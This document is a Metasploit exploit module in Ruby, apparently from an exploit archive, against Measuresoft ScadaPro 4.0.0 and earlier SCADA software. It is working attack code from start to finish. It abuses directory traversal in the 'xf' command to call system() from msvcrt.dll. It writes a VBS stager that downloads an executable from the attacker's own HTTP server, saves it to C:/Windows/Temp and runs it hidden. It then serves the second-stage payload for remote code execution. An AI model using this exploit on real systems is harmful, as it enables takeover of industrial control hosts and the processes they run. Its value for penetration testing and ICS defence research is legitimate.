Measuresoft ScadaPro <= 4.0.0 Remote Command Execution

[Gonzalez]

##
# $Id: scadapro_cmdexe.rb 13737 2011-09-16 08:23:59Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::EXE

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Measuresoft ScadaPro <= 4.0.0 Remote Command Execution',
            'Description'    => %q{
                    This module allows remote attackers to execute arbitray commands on
                the affected system by abusing via Directory Traversal attack when using the 'xf'
                command (execute function). An attacker can execute system() from msvcrt.dll to
                upload a backdoor and gain remote code execution.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Luigi Auriemma',                           # Initial discovery/poc
                    'mr_me <steventhomasseeley[at]gmail.com>',  # msf
                    'TecR0c <tecr0c[at]tecninja.net>',          # msf
                ],
            'Version'        => '$Revision: 13737 $',
            'References'     =>
                [
                    #[ 'CVE', '?'],
                    #[ 'OSVDB', '?'],
                    [ 'BID', '49613'],
                    [ 'URL', 'http://aluigi.altervista.org/adv/scadapro_1-adv.txt'],
                    [ 'URL', 'http://us-cert.gov/control_systems/pdf/ICS-ALERT-11-256-04.pdf'],
                    # seemed pretty accurate to us 
                    [ 'URL', 'http://www.measuresoft.net/news/post/Inaccurate-Reports-of-Measuresoft-ScadaPro-400-Vulnerability.aspx'],
                ],
            'DefaultOptions' =>
                {
                    'InitialAutoRunScript' => 'migrate -f',
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    # truly universal
                    [ 'Automatic', { } ],
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Sep 16 2011'))

            register_options(
            [
                Opt::RPORT(11234),
                OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
            ], self.class)
    end

    # couldn't generate a vbs or exe payload and then use the wF command
    # as there is a limit to the amount of data to write to disk.
    # so we just write out a vbs script like the old days.

    def build_vbs(url, stager_name)
        name_xmlhttp = rand_text_alpha(2)
        name_adodb   = rand_text_alpha(2)

        tmp = "#{@temp_folder}/#{stager_name}"

        vbs  = "echo Set #{name_xmlhttp} = CreateObject(\"Microsoft.XMLHTTP\") "
        vbs << ": #{name_xmlhttp}.open \"GET\",\"http://#{url}\",False : #{name_xmlhttp}.send"
        vbs << ": Set #{name_adodb} = CreateObject(\"ADODB.Stream\") "
        vbs << ": #{name_adodb}.Open : #{name_adodb}.Type=1 "
        vbs << ": #{name_adodb}.Write #{name_xmlhttp}.responseBody "
        vbs << ": #{name_adodb}.SaveToFile \"#{@temp_folder}/#{@payload_name}.exe\",2 "
        vbs << ": CreateObject(\"WScript.Shell\").Run \"#{@temp_folder}/#{@payload_name}.exe\",0 >> #{tmp}"

        return vbs
    end

    def on_request_uri(cli, request)
        if request.uri =~ /\.exe/
            print_status("Sending 2nd stage payload to #{cli.peerhost}:#{cli.peerport}...")
            return if ((p=regenerate_payload(cli)) == nil)
            data = generate_payload_exe( {:code=>p.encoded} )
            send_response(cli, data, {'Content-Type' => 'application/octet-stream'} )
            return
        end
    end

    def exploit
        # In order to save binary data to the file system the payload is written to a .vbs
        # file and execute it from there.
        @payload_name = rand_text_alpha(4)
        @temp_folder  = "C:/Windows/Temp"

        if datastore['SRVHOST'] == '0.0.0.0'
            lhost = Rex::Socket.source_address('50.50.50.50')
        else
            lhost = datastore['SRVHOST']
        end

        payload_src  = lhost
        payload_src << ":" << datastore['SRVPORT'] << datastore['URIPATH'] << @payload_name << ".exe"

        stager_name = rand_text_alpha(6) + ".vbs"
        stager      = build_vbs(payload_src, stager_name)

        path = "..\\..\\..\\..\\..\\windows\\system32"

        createvbs = "xf%#{path}\\msvcrt.dll,system,cmd /c #{stager}\r\n"
        download_execute = "xf%#{path}\\msvcrt.dll,system,start #{@temp_folder}/#{stager_name}\r\n"

        print_status("Sending 1st stage payload...")

        connect
        sock.get_once()
        sock.put(createvbs)
        sock.get_once()
        sock.put(download_execute)
        handler()
        disconnect

        super
    end

end